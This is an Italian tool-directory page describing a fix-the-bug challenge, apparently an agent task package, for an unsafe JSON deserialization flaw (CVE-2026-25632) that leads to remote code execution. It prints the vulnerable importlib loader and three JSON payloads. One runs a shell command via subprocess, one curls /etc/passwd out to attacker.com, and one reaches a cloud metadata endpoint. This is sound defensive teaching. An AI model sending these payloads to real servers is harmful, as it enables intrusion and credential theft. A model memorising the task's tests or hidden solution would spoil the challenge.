Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25632 — CVE-2026-25632 — Correzione della deserializzazione JSON non sicura che porta all'esecuzione remota di codice | Kitploit
Strumenti/GitHubGitHub/lazarus0x1337/cve-2026-25632
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza WebApprendimento e FormazioneLab e Pratica
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — Correzione della deserializzazione JSON non sicura che porta all'esecuzione remota di codice

Vedi Repository
129 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25632 — Deserializzazione JSON RCE nell'API REST (Sfida di correzione bug)

Ispirato a una vulnerabilità reale del 2026 (CVSS 10.0, sfruttata attivamente)
Basato su: CVE-2026-25632 — Esecuzione di codice remoto tramite deserializzazione JSON non sicura guidata da __type__, scoperta nell'API REST di simulazione della rete idrica EPyT-Flow e divulgata pubblicamente all'inizio del 2026.


Contesto

NovaSim è un framework di simulazione basato su Python che espone un'API REST per il controllo remoto di esperimenti scientifici. Per supportare una serializzazione flessibile degli oggetti in ambienti client eterogenei, uno sviluppatore ha aggiunto un caricatore JSON personalizzato che rileva un campo speciale __type__ e importa e istanzia dinamicamente la classe Python referenziata utilizzando importlib.

Questo pattern è stato divulgato come vulnerabilità critica di Esecuzione di Codice Remoto (RCE) in un importante progetto open-source nel 2026. I ricercatori di sicurezza hanno identificato che un attaccante che controlla il corpo JSON può costruire una catena di gadget rivolta a qualsiasi oggetto chiamabile nella libreria standard di Python — inclusi subprocess.Popen, os.system, eval e oltre 25 gadget SSRF — ottenendo il pieno compromesso del server con una singola richiesta HTTP, senza alcuna autenticazione richiesta.


Il tuo compito

Ti viene fornita la versione vulnerabile di src/solution.py, che contiene esattamente il pattern di deserializzazione non sicura.

Il tuo obiettivo: correggere la vulnerabilità in DeserializationService.load_from_json() in modo che:

  1. Gli oggetti di simulazione legittimi e in whitelist vengano ancora deserializzati correttamente.
  2. Qualsiasi tentativo di caricare una classe fuori dalla whitelist sollevi una SecurityError.
  3. Il campo __type__ non permetta più l'importazione arbitraria di moduli o l'istanziazione di classi.
  4. Tutti i dati di simulazione validi (JSON senza __type__) continuino a caricarsi normalmente.

Dichiarazione del problema tecnico

Pattern di codice vulnerabile (DA NON USARE)

root@kitploit:~
# PERICOLOSO — pattern CVE-2026-25632
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # controllato dall'attaccante!
        cls = getattr(module, class_name)               # controllato dall'attaccante!
        return cls(**data.get("args", {}))              # esecuzione di codice arbitrario!

Vettori d'attacco (dalla ricerca di sicurezza reale)

Un attaccante invia una richiesta POST con un corpo JSON manipolato:

Vettore 1 — RCE diretta tramite subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

Vettore 2 — RCE tramite os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

Vettore 3 — SSRF tramite urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

I ricercatori di sicurezza hanno documentato 12 gadget RCE diretti e 25 gadget SSRF raggiungibili in questo modo attraverso la sola libreria standard di Python.


Tipi in Whitelist

I seguenti tipi di oggetti di simulazione — e solo i seguenti — possono essere deserializzati tramite __type__:

Valore __type__Classe Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator

Qualsiasi altro valore di __type__ DEVE sollevare immediatamente una SecurityError, prima che avvenga qualsiasi importazione o istanziazione.


Specifiche di Input / Output

Input

Oggetti JSON inviati a DeserializationService.load_from_json(raw: str) -> dict | SimObject

Output

  • Se il JSON non ha la chiave __type__: restituisce dict (JSON analizzato).
  • Se il JSON ha un __type__ in whitelist: restituisce l'istanza dell'oggetto di simulazione corrispondente.
  • Se il JSON ha un __type__ non in whitelist: solleva SecurityError con il messaggio: "Blocked unsafe type: <type_value>".
  • Se il JSON è malformato: solleva ValueError con il messaggio: "Invalid JSON payload".

Casi limite / Regole di gestione degli errori


File

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- Ti trovi qui
├── Dockerfile                  <- Ambiente di build deterministico
├── src/
│   ├── solution.py             <- Codice iniziale BUGGATO (il tuo obiettivo)
│   ├── solution_fixed.py       <- Soluzione di riferimento (nascosta all'agente)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Classi dei modelli di simulazione in whitelist
└── tests/
    └── test_solution.py        <- Harness di test (FALLISCE sul codice buggato, PASSA su quello corretto)

Criteri di verifica

La correzione deve superare TUTTI i seguenti punti:

  • Tutti e 4 i test standard di deserializzazione (tipi in whitelist, dict semplice senza tipo)
  • Tutti e 5 i test di blocco dei vettori d'attacco (subprocess, os, eval, urllib, builtins)
  • Tutti e 3 i test dei casi limite (tipo vuoto, tipo non stringa, JSON malformato)
  • Nessuna chiamata di rete esterna durante i test
  • Deterministico tra esecuzioni diverse

Riferimenti

  • NVD — CVE-2026-25632
  • Avviso CISA — Catalogo delle vulnerabilità note sfruttate
  • Ricerca di sicurezza: 79 Gadget scoperti — MazeHQ, 2026
  • CWE-502: Deserializzazione di dati non attendibili
Scarica lo strumento
simulation.Scenarionovasim.models.Scenario
ScenarioComportamento atteso
__type__ assenteAnalizza e restituisci come dict semplice
__type__ = "simulation.Sensor"Istanzia Sensor(**args)
__type__ = "subprocess.Popen"Solleva SecurityError
__type__ = "os.system"Solleva SecurityError
__type__ = "__builtins__.eval"Solleva SecurityError
__type__ = "" (stringa vuota)Solleva SecurityError
__type__ = una lista o interoSolleva SecurityError (campo tipo non valido)
Stringa JSON malformataSolleva ValueError
Campi extra sconosciuti in oggetto validoAccettati, passati come kwargs al costruttore